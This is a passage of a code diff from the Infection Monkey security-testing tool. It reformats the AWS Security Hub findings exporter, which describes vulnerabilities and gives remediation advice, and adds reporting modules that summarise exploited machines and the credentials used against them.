{issue['type']} not added as AWS exportable finding" + ) + + class FindingNotFoundError(Exception): + pass @staticmethod def _send_findings(findings_list, region): try: logger.debug("Trying to acquire securityhub boto3 client in " + region) - security_hub_client = boto3.client('securityhub', region_name=region) + security_hub_client = boto3.client("securityhub", region_name=region) logger.debug("Client acquired: {0}".format(repr(security_hub_client))) # Assumes the machine has the correct IAM role to do this, @see - # https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances + # https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS + # -EC2-instances import_response = security_hub_client.batch_import_findings(Findings=findings_list) logger.debug("Import findings response: {0}".format(repr(import_response))) - if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + if import_response["ResponseMetadata"]["HTTPStatusCode"] == 200: return True else: return False except UnknownServiceError as e: - logger.warning('AWS exporter called but AWS-CLI security hub service is not installed. Error: {}'.format(e)) + logger.warning( + "AWS exporter called but AWS-CLI security hub service is not installed. " + "Error: {}".format(e) + ) return False except Exception as e: - logger.exception('AWS security hub findings failed to send. Error: {}'.format(e)) + logger.exception("AWS security hub findings failed to send. Error: {}".format(e)) return False @staticmethod def _get_finding_resource(instance_id, instance_arn): if instance_id: - return [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=instance_id) - }] + return [{"Type": "AwsEc2Instance", "Id": instance_arn.format(instance_id=instance_id)}] else: - return [{'Type': 'Other', 'Id': 'None'}] + return [{"Type": "Other", "Id": "None"}] @staticmethod - def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): + def _build_generic_finding( + severity, title, description, recommendation, instance_arn, instance_id=None + ): finding = { - "Severity": { - "Product": severity, - "Normalized": 100 - }, - 'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn), + "Severity": {"Product": severity, "Normalized": 100}, + "Resources": AWSExporter._get_finding_resource(instance_id, instance_arn), "Title": title, "Description": description, - "Remediation": { - "Recommendation": { - "Text": recommendation - } - }} + "Remediation": {"Recommendation": {"Text": recommendation}}, + } return finding @@ -148,11 +184,12 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=5, title="Weak segmentation - Machines were able to communicate over unused ports.", - description="Use micro-segmentation policies to disable communication other than the required.", + description="Use micro-segmentation policies to disable communication other than " + "the required.", recommendation="Machines are not locked down at port level. " - "Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']), + "Network tunnel was set up from {0} to {1}".format(issue["machine"], issue["dest"]), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -161,14 +198,16 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=10, title="Samba servers are vulnerable to 'SambaCry'", - description="Change {0} password to a complex one-use password that is not shared with other computers on the " - "network. Update your Samba server to 4.4.14 and up, " - "4.5.10 and up, or 4.6.4 and up.".format(issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB " - "protocol with user {2} and its password, and used the SambaCry " - "vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']), + description="Change {0} password to a complex one-use password that is not shared " + "with other computers on the " + "network. Update your Samba server to 4.4.14 and up, " + "4.5.10 and up, or 4.6.4 and up.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The " + "Monkey authenticated over the SMB " + "protocol with user {2} and its password, and used the SambaCry " + "vulnerability.".format(issue["machine"], issue["ip_address"], issue["username"]), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -176,13 +215,18 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=5, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), - recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over " - "SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']), + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey " + "used a pass-the-hash attack over " + "SMB protocol with user {2}.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -190,14 +234,17 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH" - " protocol with user {2} and its " - "password.".format(issue['machine'], issue['ip_address'], issue['username']), + title="Machines are accessible using SSH passwords supplied by the user during " + "the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey " + "authenticated over the SSH" + " protocol with user {2} and its " + "password.".format(issue["machine"], issue["ip_address"], issue["username"]), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -205,15 +252,18 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated " - "over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], - ip_address=issue['ip_address'], - ssh_key=issue['ssh_key']), + title="Machines are accessible using SSH passwords supplied by the user during " + "the Monkey's configuration.", + description="Protect {ssh_key} private key with a pass phrase.".format( + ssh_key=issue["ssh_key"] + ), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH " + "attack. The Monkey authenticated " + "over the SSH protocol with private key {ssh_key}.".format( + machine=issue["machine"], ip_address=issue["ip_address"], ssh_key=issue["ssh_key"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -223,12 +273,12 @@ class AWSExporter(Exporter): severity=10, title="Elastic Search servers are vulnerable to CVE-2015-1427", description="Update your Elastic Search server to version 1.4.3 and up.", - recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made " - "possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], - issue['ip_address']), + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. " + "The attack was made " + "possible because the Elastic Search server was not patched " + "against CVE-2015-1427.".format(issue["machine"], issue["ip_address"]), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -236,16 +286,18 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Weak segmentation - Machines from different segments are able to communicate.", - description="Segment your network and make sure there is no communication between machines from different " - "segments.", + title="Weak segmentation - Machines from different segments are able to " + "communicate.", + description="Segment your network and make sure there is no communication between " + "machines from different " + "segments.", recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ - could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], - issue['networks'], - issue['server_networks']), + could directly access the Monkey Island server in the networks {2}.".format( + issue["machine"], issue["networks"], issue["server_networks"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -254,10 +306,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Multiple users have the same password", - description="Some users are sharing passwords, this should be fixed by changing passwords.", - recommendation="These users are sharing access password: {0}.".format(issue['shared_with']), + description="Some users are sharing passwords, this should be fixed by changing " + "passwords.", + recommendation="These users are sharing access password: {0}.".format( + issue["shared_with"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -268,11 +323,13 @@ class AWSExporter(Exporter): title="Machines are vulnerable to 'Shellshock'", description="Update your Bash to a ShellShock-patched version.", recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a " - "shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + "The attack was made possible because the HTTP server running on " + "TCP port {2} was vulnerable to a " + "shell injection attack on the paths: {3}.".format( + issue["machine"], issue["ip_address"], issue["port"], issue["paths"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -280,16 +337,18 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB " - "protocol with user {2} and its password.".format( - issue['machine'], - issue['ip_address'], - issue['username']), + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey " + "authenticated over the SMB " + "protocol with user {2} and its password.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -297,16 +356,18 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.", - recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " - "the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], - ip_address=issue['ip_address'], - username=issue['username']), + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.", + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " + "attack. The Monkey authenticated over " + "the WMI protocol with user {username} and its password.".format( + machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -314,16 +375,18 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " - "pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], - ip_address=issue['ip_address'], - username=issue['username']), + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " + "attack. The Monkey used a " + "pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -332,11 +395,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Multiple users have the same password.", - description="Some domain users are sharing passwords, this should be fixed by changing passwords.", + description="Some domain users are sharing passwords, this should be fixed by " + "changing passwords.", recommendation="These users are sharing access password: {shared_with}.".format( - shared_with=issue['shared_with']), + shared_with=issue["shared_with"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -344,13 +409,18 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Shared local administrator account - Different machines have the same account as a local administrator.", - description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t " - "an unintentional local admin sharing.", - recommendation="Here is a list of machines which the account {username} is defined as an administrator: " - "{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']), + title="Shared local administrator account - Different machines have the same " + "account as a local administrator.", + description="Make sure the right administrator accounts are managing the right " + "machines, and that there isn't " + "an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is " + "defined as an administrator: " + "{shared_machines}".format( + username=issue["username"], shared_machines=issue["shared_machines"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -358,13 +428,17 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, - title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", - description="This critical machine is open to attacks via strong users with access to it.", - recommendation="The services: {services} have been found on the machine thus classifying it as a critical " - "machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']), + title="Mimikatz found login credentials of a user who has admin access to a " + "server defined as critical.", + description="This critical machine is open to attacks via strong users with " + "access to it.", + recommendation="The services: {services} have been found on the machine thus " + "classifying it as a critical " + "machine. These users has access to it:{threatening_users}.".format( + services=issue["services"], threatening_users=issue["threatening_users"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -374,11 +448,15 @@ class AWSExporter(Exporter): severity=10, title="Struts2 servers are vulnerable to remote code execution.", description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", - recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible because the server is using an old version of Jakarta based file " - "upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']), + recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to " + "remote code execution attack." + "The attack was made possible because the server is using an old " + "version of Jakarta based file " + "upload Multipart parser.".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -387,13 +465,19 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=10, title="Oracle WebLogic servers are vulnerable to remote code execution.", - description="Install Oracle critical patch updates. Or update to the latest version. " - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", - recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware " - "(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']), + description="Install Oracle critical patch updates. Or update to the latest " + "version. " + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and " + "12.2.1.2.0.", + recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable " + "to remote code execution attack." + "The attack was made possible due to incorrect permission " + "assignment in Oracle Fusion Middleware " + "(subcomponent: WLS Security).".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -403,8 +487,10 @@ class AWSExporter(Exporter): severity=10, title="Hadoop/Yarn servers are vulnerable to remote code execution.", description="Run Hadoop in secure mode, add Kerberos authentication.", - recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", + recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to " + "remote code execution attack." + "The attack was made possible due to default Hadoop/Yarn " + "configuration being insecure.", instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/__init__.py b/monkey/monkey_island/cc/services/reporting/exploitations/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py new file mode 100644 index 000000000..303fe8db5 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py @@ -0,0 +1,31 @@ +from dataclasses import dataclass +from typing import List + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.node import NodeService + + +@dataclass +class ManualExploitation: + hostname: str + ip_addresses: List[str] + start_time: str + + +def get_manual_exploitations() -> List[ManualExploitation]: + monkeys = get_manual_monkeys() + return [monkey_to_manual_exploitation(monkey) for monkey in monkeys] + + +def get_manual_monkeys(): + return [ + monkey for monkey in mongo.db.monkey.find({}) if NodeService.get_monkey_manual_run(monkey) + ] + + +def monkey_to_manual_exploitation(monkey: dict) -> ManualExploitation: + return ManualExploitation( + hostname=monkey["hostname"], + ip_addresses=monkey["ip_addresses"], + start_time=monkey["launch_time"], + ) diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py new file mode 100644 index 000000000..f06d23274 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py @@ -0,0 +1,62 @@ +import logging +from dataclasses import dataclass +from typing import List + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501 + ExploiterDescriptorEnum, +) + +logger = logging.getLogger(__name__) + + +@dataclass +class MonkeyExploitation: + label: str + ip_addresses: List[str] + domain_name: str + exploits: List[str] + + +def get_monkey_exploited() -> List[MonkeyExploitation]: + exploited_nodes_monkeys_launched = [ + NodeService.get_displayed_node_by_id(monkey["_id"], True) + for monkey in mongo.db.monkey.find({}, {"_id": 1}) + if not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey["_id"])) + ] + + # The node got exploited, but no monkeys got launched. + # For example the exploited machine was too old. + exploited_nodes_monkeys_failed = [ + NodeService.get_displayed_node_by_id(node["_id"], True) + for node in mongo.db.node.find({"exploited": True}, {"_id": 1}) + ] + + exploited = exploited_nodes_monkeys_launched + exploited_nodes_monkeys_failed + + exploited = [ + MonkeyExploitation( + label=exploited_node["label"], + ip_addresses=exploited_node["ip_addresses"], + domain_name=exploited_node["domain_name"], + exploits=get_exploits_used_on_node(exploited_node), + ) + for exploited_node in exploited + ] + + logger.info("Exploited nodes generated for reporting") + + return exploited + + +def get_exploits_used_on_node(node: dict) -> List[str]: + return list( + set( + [ + ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name + for exploit in node["exploits"] + if exploit["result"] + ] + ) + ) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index 391b23cf1..c19f3d5e3 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -13,7 +13,10 @@ def populate_exporter_list(): if len(manager.get_exporters_list()) != 0: logger.debug( - "Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list()))) + "Populated exporters list with the following exporters: {0}".format( + str(manager.get_exporters_list()) + ) + ) def try_add_aws_exporter_to_manager(manager): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py new file mode 100644 index 000000000..03e5ce8b1 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -0,0 +1,59 @@ +from dataclasses import dataclass +from enum import Enum +from typing import Type + +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 + CredExploitProcessor, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 + ExploitProcessor, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 + ShellShockExploitProcessor, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( # noqa: E501 + ZerologonExploitProcessor, +) + + +@dataclass +class ExploiterDescriptor: + # Must match with class names of exploiters in Infection Monkey code + class_name: str + display_name: str + processor: Type[object] = ExploitProcessor + + +class ExploiterDescriptorEnum(Enum): + SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor) + WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor) + SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) + SAMBACRY = ExploiterDescriptor("SambaCryExploiter", "SambaCry Exploiter", CredExploitProcessor) + ELASTIC = ExploiterDescriptor( + "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor + ) + MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor) + SHELLSHOCK = ExploiterDescriptor( + "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor + ) + STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) + WEBLOGIC = ExploiterDescriptor( + "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor + ) + HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor) + MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor) + VSFTPD = ExploiterDescriptor( + "VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor + ) + DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor) + ZEROLOGON = ExploiterDescriptor( + "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor + ) + + @staticmethod + def get_by_class_name(class_name: str) -> ExploiterDescriptor: + return [ + descriptor.value + for descriptor in ExploiterDescriptorEnum + if descriptor.value.class_name == class_name + ][0] diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py new file mode 100644 index 000000000..087ee6a39 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py @@ -0,0 +1,23 @@ +from dataclasses import dataclass +from enum import Enum +from typing import List, Union + + +class CredentialType(Enum): + PASSWORD = "password" + HASH = "hash" + KEY = "key" + + +@dataclass +class ExploiterReportInfo: + machine: str + ip_address: str + type: str + username: Union[str, None] = None + credential_type: Union[CredentialType, None] = None + ssh_key: Union[str, None] = None + password: Union[str, None] = None + port: Union[str, None] = None + paths: Union[List[str], None] = None + password_restored: Union[bool, None] = None diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py new file mode 100644 index 000000000..05c9233fe --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 + CredentialType, + ExploiterReportInfo, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 + ExploitProcessor, +) + + +class CredExploitProcessor: + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) + + for attempt in exploit_dict["data"]["attempts"]: + if attempt["result"]: + exploit_info.username = attempt["user"] + if attempt["password"]: + exploit_info.credential_type = CredentialType.PASSWORD.value + exploit_info.password = attempt["password"] + elif attempt["ssh_key"]: + exploit_info.credential_type = CredentialType.KEY.value + exploit_info.ssh_key = attempt["ssh_key"] + else: + exploit_info.credential_type = CredentialType.HASH.value + return exploit_info + return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py new file mode 100644 index 000000000..ad249d58a --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -0,0 +1,12 @@ +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 + ExploiterReportInfo, +) + + +class ExploitProcessor: + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + ip_addr = exploit_dict["data"]["machine"]["ip_addr"] + machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)) + return ExploiterReportInfo(ip_address=ip_addr, machine=machine, type=class_name) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py new file mode 100644 index 000000000..bd047fbf5 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -0,0 +1,15 @@ +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 + ExploiterReportInfo, + ExploitProcessor, +) + + +class ShellShockExploitProcessor: + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) + + urls = exploit_dict["data"]["info"]["vulnerable_urls"] + exploit_info.port = urls[0].split(":")[2].split("/")[0] + exploit_info.paths = ["/" + url.split(":")[2].split("/")[1] for url in urls] + return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py new file mode 100644 index 000000000..0b99fc87d --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -0,0 +1,12 @@ +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 + ExploiterReportInfo, + ExploitProcessor, +) + + +class ZerologonExploitProcessor: + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) + exploit_info.password_restored = exploit_dict["data"]["info"]["password_restored"] + return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py index 2389b12da..b1b015c55 100644 --- a/monkey/monkey_island/cc/services/reporting/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -7,8 +7,6 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.services.groups_and_users_consts import USERTYPE from monkey_island.cc.services.node import NodeService -__author__ = 'maor.rayzin' - class PTHReportService(object): """ @@ -19,7 +17,8 @@ class PTHReportService(object): @staticmethod def __dup_passwords_mongoquery(): """ - This function builds and queries the mongoDB for users that are using the same passwords. this is done + This function builds and queries the mongoDB for users that are using the same + passwords. this is done by comparing the NTLM hash found for each user by mimikatz. :return: A list of mongo documents (dicts in python) that look like this: @@ -31,71 +30,72 @@ class PTHReportService(object): """ pipeline = [ - {"$match": { - 'NTLM_secret': { - "$exists": "true", "$ne": None} - }}, + {"$match": {"NTLM_secret": {"$exists": "true", "$ne": None}}}, { "$group": { - "_id": { - "NTLM_secret": 